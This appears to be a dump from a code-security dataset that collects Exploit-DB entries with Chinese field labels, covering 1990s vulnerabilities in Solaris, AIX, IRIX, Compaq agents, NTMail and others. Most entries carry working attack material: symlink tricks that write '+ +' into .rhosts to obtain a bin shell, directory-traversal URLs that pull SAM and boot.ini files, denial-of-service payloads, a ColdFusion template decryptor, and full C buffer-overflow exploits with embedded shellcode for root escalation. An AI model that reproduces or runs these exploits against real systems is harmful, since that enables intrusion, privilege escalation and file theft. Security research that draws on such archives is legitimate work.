QLWD/code_shield huggingface dataset:
标题: Solaris 7.0 - 'chkperm' Local Privilege Escalation EDB-ID: 19235 CVE: 1999-0860 类型: LOCAL 平台: SOLARIS 发布日期: 1996-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/295/info

Solaris 2.4, 2.5, and 2.5.1 (possibly other versions) have a package called FACE (Framed Access Command Environment) installed. Included in the package is a program called chkperm which checks a file to see if the user has permission to use the FACE interface. This program is installed suid and sgid bin, and is trivially exploitable to compromise the bin account under Solaris 2.4.

Running chkperm in a directory that has world write privilege or in a directory that belongs to bin. chkperm on Solaris 2.5 seems to create a file called <gibberish characters> in the directory from where you execute it. chkperm needs write access for user bin (or group bin) to the directory from which you execute it. It also works the same with just 'chkperm -l', you can set the environment variable VMSYS to anything.

You could then create the link (to .rhosts in the example) using the <gibberish characters> file name created by chkperm and accomplish the same result. 

% mkdir /tmp/foo
% mkdir /tmp/foo/lib
% chmod -R 777 /tmp/foo
% setenv VMSYS /tmp/foo
% umask 0000
% ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
% /usr/vmsys/bin/chkperm -l -u foo
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 0 Nov 12 09:41 .rhosts
% echo "+ +" >> /usr/bin/.rhosts
% ls -l /usr/bin/.rhosts
-rw-rw-rw- 2 bin bin 4 Nov 12 09:41 .rhosts
% rsh -l bin localhost /bin/csh -i
Warning: no access to tty; thus no job control in this shell...
% id
uid=2(bin) gid=2(bin) URL: https://www.exploit-db.com/exploits/19235
标题: Solaris 7.0 - 'Coredump' File Write EDB-ID: 19236 CVE: 1999-1413 类型: REMOTE 平台: SOLARIS 发布日期: 1996-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/296/info

There is a vulnerability in the way Solaris 2.4 pre Jumbo Kernel Patch -35 (for SPARC) dumps core files. Under normal operation the operating system writes out a core image of a process when it is terminated due to the receipt of some signals. The core image is called core and is written in the process's working directory (provided it can be; normal access controls apply). A process with an effective user ID different from the real user ID will not produce a core image.

The problem in this instance is that because certian directories under Solaris 2.4 are 'group bin' writable you can force programs which are in the bin group to dump core. Then by using a symlink attack you can overwrite files in directories owned by bin. A series of system critical directories under Solaris 2.4 are writable by group bin.

What follows is an example attack, slightly modified from the origanal Bugtraq posting.

[cosmos:beren] uname -a
SunOS cosmos 5.4 Generic_101945-32 sun4m sparc
[cosmos:beren] ls -ald /etc
$)C
8 drwxrwxr-x 25 root sys 3584 7 ?y 25 @O 18:46 /etc/
[cosmos:beren] ls -ald /usr
2 drwxrwxr-x 30 root sys 1024 7 ?y 5 @O 17:26 /usr/
[cosmos:beren] ls -ald /usr/sbin
10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/
[cosmos:beren] ls -ald /usr/sbin
10 drwxrwxr-x 4 root bin 4608 5 ?y 18 @O 03:38 /usr/sbin/

*NOTE* These directories are group bin writable.

[cosmos:beren] find /usr -perm -2000 \( -group sys -o -group bin \) ls

*NOTE* Here we look for programs which are in group bin so we can force them to dump core.

[cosmos:beren] ls -al /usr/sbin/dmesg
12 -r-xr-sr-x 1 bin sys 5520 1994 Jul 15 /usr/sbin/dmesg*

*NOTE* Here we identify dmesg(8) as being in the 'bin' group.

[cosmos:beren] ln -s /etc/SOMETHING core
[cosmos:beren] stty ^\^[cosmos:beren] pwd
/tmp
[cosmos:beren] dmesg
/* then slightly after u type this command kill it . using stty ^\^ there comes the following results */
^C (Core dumped)
[comos:beren] ls /etc/SOMETHING
SOMETHING


*NOTE* Here we link a random /etc/ file to core. In this instance we simply use SOMETHING as our random filename. You could just as easily use /etc/passwd. URL: https://www.exploit-db.com/exploits/19236
标题: IBM AIX eNetwork Firewall 3.2/3.3 - Insecure Temporary File Creation EDB-ID: 19229 CVE: 1999-0803 类型: LOCAL 平台: AIX 发布日期: 1999-05-25 漏洞利用脚本: soure: https://www.securityfocus.com/bid/287/info

IBM's eNetwork Firewall for AIX contains a number of vulnerability in scripts which manipulate files insecurely. When fwlsuser script is run it creates a temporary file called /tmp/fwlsuser.PID ( where PID is the process ID of the command being run ). If this file is created previously and is a link to any other file the output generated by the fwlsuser script will overwrite this linked file. 

x = 5000
while true

LOCAL FIX AS REPORTED BY ORIGINATOR:
ln -s /etc/passwd /tmp/fwlsuser.$x
# rm /tmp/fwlsuser.$x
let x=$x+1
echo $x
done
exit URL: https://www.exploit-db.com/exploits/19229
标题: Compaq Client Management Agents 3.70/4.0 / Insight Management Agents 4.21 A/4.22 A/4.30 A / Intelligent Cluster Administrator 1.0 / Management Agents for Workstations 4.20 A / Server Management Agents 4.23 / Survey Utility 2.0 - Web File Access EDB-ID: 19225 CVE: 1999-0771 类型: DOS 平台: MULTIPLE 发布日期: 1999-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/282/info

A vulnerability in the Compaq Management Agents and the Compaq Survey Utility when running as an agent allows remote malicious users to steal local files. All Compaq Server and Client Management Agents version 4.0 or later are vulnerable. All Compaq Survey Utility versions 2.0 or later are vulnerable.

Compaq's Insight Manger a comprehensive management tool to monitor and control the operation of Compaq servers and clients and DIGITAL X86 and Alpha-based servers. One of its features is web acess to its device and configuration information via a built-in web server in the agents. Insight Manager is available for several platforms including Windows NT and Netware.

The web server in the agents fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename.

The web server listens on port 2301. By default the only user accounts available in the agents are account "anonymous", username "anonymous", no password, account "user", username "user", password "public", and account "administrator", username "administrator", and password "administrator". You login via the URL http://www.example.com:2301/cpqlogin.htm.

One an attacker has access to on such machine, using Compaq's HTTP Auto-Discovery Device List at the URL http://www.example.com/cpqdev.htm they can locate other machines.

The web agent service also appears to be vulnerable a a denial of service. By sending it a request for over 223 bytes long ("AAAA...") the service will fail with an access violation. 

http://vulnerable-NT.com:2301/../../../winnt/repair/sam._
http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf URL: https://www.exploit-db.com/exploits/19225
标题: Symantec PCAnywhere32 8.0 - Denial of Service EDB-ID: 19230 CVE: 1999-1028 类型: DOS 平台: MULTIPLE 发布日期: 1999-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/288/info

Servers running PCAnywhere32 with TCP/IP networking are subject to a Denial of Service attack that will hang the server at 100% CPU utilization. A malicious user may initiate this DoS by connecting to tcp port 5631 on the PCAnywhere server input a large amount of data when prompted with "Please press <Enter>".

Connect to tcp 5631. At the Please press <Enter> prompt, transfer a large amount of data to the PCAnywhere server. This will peg the CPU utilization at 100%. URL: https://www.exploit-db.com/exploits/19230
标题: IBM Remote Control Software 1.0 - Code Execution EDB-ID: 19227 CVE: 1999-1414 类型: LOCAL 平台: WINDOWS 发布日期: 1999-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/284/info

The IBM Remote Control Software package requires a client module to be loaded on NT hosts to be remotey controlled. This client module is loaded as an NT service and must run under either the local system account or the user context of a user account having administrative privileges.

It has been discovered that this service may be exploited by a local user level account to execute code with administrator privileges. This vulnerability would allow a user (with no admin rights) to execute programs that might allow them to elevate their privileges to that of an administrator. 

Open the Netfinity client. Launch the Process Manager. From the Process Manager interface, launch arbitrary code. usrmgr.exe, musrmgr.exe, regedt32.exe, etc. may be launched and be used by the user level account to grant administrator privileges to any account on the host (or domain). URL: https://www.exploit-db.com/exploits/19227
标题: SunOS 4.1.4 - arp(8c) Memory Dump EDB-ID: 19232 CVE: 1999-0859 类型: LOCAL 平台: SOLARIS 发布日期: 1994-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/291/info

The version of arp(8c) which shipped with versions of SunOs 4.1.X could be used to dump system memory by using the -f flag. This flag causes the file filename to be read and multiple entries to be set in the ARP tables. However, in this instance because of poor permission sets on /dev/kmem a user can specify the file to be read as /dev/kmem and therefore gain a dump of currently paged system memory. This could lead to a root compromise. 


$ arp -f /dev/kmem | strings > mem URL: https://www.exploit-db.com/exploits/19232
标题: Solaris 7.0 - aspppd Insecure Temporary File Creation EDB-ID: 19233 CVE: 1999-1026 类型: LOCAL 平台: SOLARIS 发布日期: 1996-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/292/info

Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates files in the /tmp directory insecurely (in particular /tmp/.asppp.fifo) allowing other users to link to these files an possibly elevate their privelages. This program is not by default shipped with SUID root privelages so an attacker will therefore only be able to write to files (via a symlink attack) as the user exectuing aspppd. 

$ echo "+ +" >> .rhosts
$ ln -s /.rhosts /tmp/.asppp.fifo

Wait for asppd to be excecuted. URL: https://www.exploit-db.com/exploits/19233
标题: SmartDesk WebSuite 2.1 - Remote Buffer Overflow EDB-ID: 19221 CVE: 1999-0928 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/278/info

A buffer overflow vulnerability in SmartDesk WebSuite 2.1 allows malicious remote users to crash the server, and may at worst allow them to execute arbitrary code.

WebSuite 2.1 will crash when the filename requested is overly long. Test showed the filename length that crashed the server varied from 250 to over 2,000 bytes long. 

On Windows 98, append 150 to 1,000+ characters to the URL.

On Windows NT, append 250 to 2,000+ characters to the URL.

example:

http://hostname/00000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000 URL: https://www.exploit-db.com/exploits/19221
标题: IBM AIX 4.2.1 / Sun Solaris 7.0 - LC_MESSAGES libc Buffer Overflow (1) EDB-ID: 19213 CVE: 1999-0767 类型: LOCAL 平台: AIX 发布日期: 1999-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/268/info

A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.

#!/bin/ksh
L=3000
STEP=34
MAX=16000
while [ $L -lt $MAX ]
do
./a.out $L
L=`expr $L + $STEP`
done URL: https://www.exploit-db.com/exploits/19213
标题: Gordano NTMail 4.2 - Web File Access EDB-ID: 19222 CVE: 1999-0927 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/279/info

A vulnerability in Gordano's NTMail allows remote malicious users to steal local files.

Gordano's NTMail is a Windows NT mail server program. One of its features is allowing administrators to configure the server and users to read their email with a web browser via a built-in web server.

The web server fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename. 

http://www.example.com:8000/../../../../../boot.ini URL: https://www.exploit-db.com/exploits/19222
标题: Behold! Software Web Page Counter 2.7 - Denial of Service EDB-ID: 19212 CVE: 1999-1030 类型: DOS 平台: MULTIPLE 发布日期: 1999-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/267/info

A set of vulnerabilities in the counter.exe web hit counter program enables denial of service attacks.

A malicious user can create a malformed like ",1" entry in the counter.log file by requesting a URL of the form "http://www.example.com/scripts/counter.exe?%0A". Any further attempt for request will result in an Access Violation in counter.exe.

A similar vulnerability exists if a user requests a URL of the form "http://www.example.com/scripts/counter.exe?AAAAA" with over 2200 A's.

All further requests for counter.exe are queued and are not processed until the error messages are cleared at the console. System memory may be decremented each time a request for counter.exe is queued. URL: https://www.exploit-db.com/exploits/19212
标题: SGI IRIX 6.5.4 - midikeys Root EDB-ID: 19210 CVE: 1999-0765 类型: LOCAL 平台: IRIX 发布日期: 1999-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/262/info

The setuid root "midikeys" executable can be used to edit arbitrary files via its graphical user interface. This grants malicious users root access to the system.

Running the midikeys application, clicking in sounds, and then songs will bring up a file dialog. By entering a filename of a known file it will be opened for editing with root privileges.

The packge that midikeys is part of is dmedia_eoe.sw.synth.

People have reported trouble reproducting the vulnerability when the editor is vi. Please try again using some other editor such as gvim or emacs. Alternatively you can change the WINEDITOR environment variable to be any command you want executed as root(e.g. "/bin/chmod 4755 /tmp/sh").

You can change it under Irix 6.2 by going to Toolchest -> Desktop -> Customize -> Desktop -> Default Editor: Other, or under Irix 6.5 in Toolchest -> Desktop -> Customize -> Utilities -> Test Editor: Other.

devel 26% ./midikeys -display remotehost:0

devel 27% Xlib: extension "GLX" missing on display remotehost:0.0". Xlib: extension "GLX" missing on display "remotehost:0.0".

under the midikeys window click sounds and then midi songs. This will open a file manager type interface.

You can enter the path and filename of files you which to read, including root owned with group/world read/write permissions unset.

If you select a file like "/usr/share/data/music/README" it will appear in a text editor. Use the text editor to open /etc/passwd and make modifications at will. Save and enjoy. URL: https://www.exploit-db.com/exploits/19210
标题: IBM AIX 4.2.1 / Sun Solaris 7.0 - LC_MESSAGES libc Buffer Overflow (5) EDB-ID: 19217 CVE: 1999-0767 类型: LOCAL 平台: AIX 发布日期: 1999-05-22 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/268/info
    
A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.
*/

/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)
  ============================================================
*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define OFFSET      5392
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int i;
unsigned int ret_adr;

main()
{
    putenv("LANG=");
    memset(x,'x',70000);

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){   
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/passwd","passwd",(char *)0);
} URL: https://www.exploit-db.com/exploits/19217
标题: Allaire ColdFusion Server 4.0.1 - 'CFCRYPT.EXE' Decrypt Pages EDB-ID: 19220 CVE: 1999-0757 类型: LOCAL 平台: WINDOWS 发布日期: 1998-05-19 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/275/info

A vulnerability in ColdFusion allows pages encrypted with the CFCRYPT.EXE utility to be decrypted.

ColdFusion supports the ability to "encrypt" the CFML templates in an application or component, using the CFCRYPT.EXE utility, so they can be redistributed or sold without exposing the source code to casual viewing. A program that decrypts ColdFusion's encryption has been discovered. This will in effect make the source code for all this propietary CFML applications available to those with access to their encrypted form. 
*/

/* CFDECRYPT: Decrypt Cold Fusion templates encrypted with CFCRYPT
   Matt Chapman <matthewc@cse.unsw.edu.au>

     Usage: cfdecrypt <encrypted.cfm >decrypted.cfm

   Requires a DES encryption library to compile.
*/

#include <stdio.h>
#include "des.h"

int main(void)
{
 char *header = "Allaire Cold Fusion Template\012Header Size: ";
 char buffer[54];
 int headsize, outlen;
 int skip_header;
 int len, i;

 char *keystr = "Error: cannot open template file--\"%s\". Please, try again!\012\012";
 des_cblock key;
 des_cblock input; 
 des_cblock output;
 des_key_schedule schedule;

 if ((fread(buffer, 1, 54, stdin) < 54) || (memcmp(buffer, header, 42)))
 {
  fprintf(stderr, "File is not an encrypted template\n");
  return 1;
 }

 if (!memcmp(&buffer[42], "New Version", 11))
 {
  headsize = 69;
  skip_header = 1;
 }
 else
 {
  headsize = atoi(&buffer[42]);
  skip_header = 0;
 }

 if ((headsize < 54) || (fseek(stdin, headsize, SEEK_SET) < 0))
 {
  fprintf(stderr, "Error in file format\n");
  return 1;
 }

 des_string_to_key(keystr, &key);
 des_set_key(&key, schedule);
 outlen = 0;

 while ((len = fread(input, 1, 8, stdin)) == 8)
 {
  des_ecb_encrypt(&input, &output, schedule, 0);
  outlen += 8;
  i = 0;

  if (skip_header)
  {
   while (i < 8)
   {
    if (output[i++] == 0x1A)
    {
     skip_header = 0;
     break;
    }
   }
  }

  fwrite(output + i, 1, 8 - i, stdout);
 }

 for (i = 0; i < len; i++)
 {
  output[i] = input[i] ^ (outlen + i);
 }

 fwrite(output, 1, len, stdout);

 return 0;
} URL: https://www.exploit-db.com/exploits/19220
标题: IBM AIX 4.2.1 / Sun Solaris 7.0 - LC_MESSAGES libc Buffer Overflow (4) EDB-ID: 19216 CVE: 1999-0767 类型: LOCAL 平台: AIX 发布日期: 1999-05-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/268/info
   
A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.

#include <fcntl.h>

/* arpexp.c
 
   arp overflow proof of concept by ahmed@securityfocus.com
   shellcode originally written by Cheez Whiz.

   tested on x86 solaris 7,8beta
 
   default should work.  if not, arg1 = offset. +- by 100's 

   Except for shellcode, copyright Security-Focus.com, 11/2000 
*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

  char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
                 "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
                 "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
                 "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
                 "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
                 "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
                 "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
                 "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
                 "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
                 "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
                 "\xff\xff";

  unsigned long magic = 0x8047b78;
  unsigned long r = get_esp() + 600; 
  unsigned char buf[300];
  int f;

  if (ac == 2)
    r += atoi(av[1]);

  memset(buf,0x61,sizeof(buf));
  memcpy(buf+52,&magic,4);
  memcpy(buf+76,&r,4);

  f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
  write(f,"1 2 3 4 ",8);
  write(f,buf,sizeof(buf));
  close(f);

  memset(buf,0x90,sizeof(buf));
  memcpy(buf,"LOL=",4);
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  putenv(buf);

  system("/usr/sbin/arp -f /tmp/ypx");
  unlink("/tmp/ypx");

} URL: https://www.exploit-db.com/exploits/19216
标题: FloosieTek FTGate 2.1 - Web File Access EDB-ID: 19223 CVE: 1999-0887 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/280/info

A vulnerability in Floosietek's FTGate allows remote malicious users to steal local files.

Floosietek's FTGate is a Win32 mail server program. One of its features is allowing administrators to check the status of the mail server using a web browser via a built-in web server.

The web server fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename. 

http://www.example.com:8080/../newuser.txt URL: https://www.exploit-db.com/exploits/19223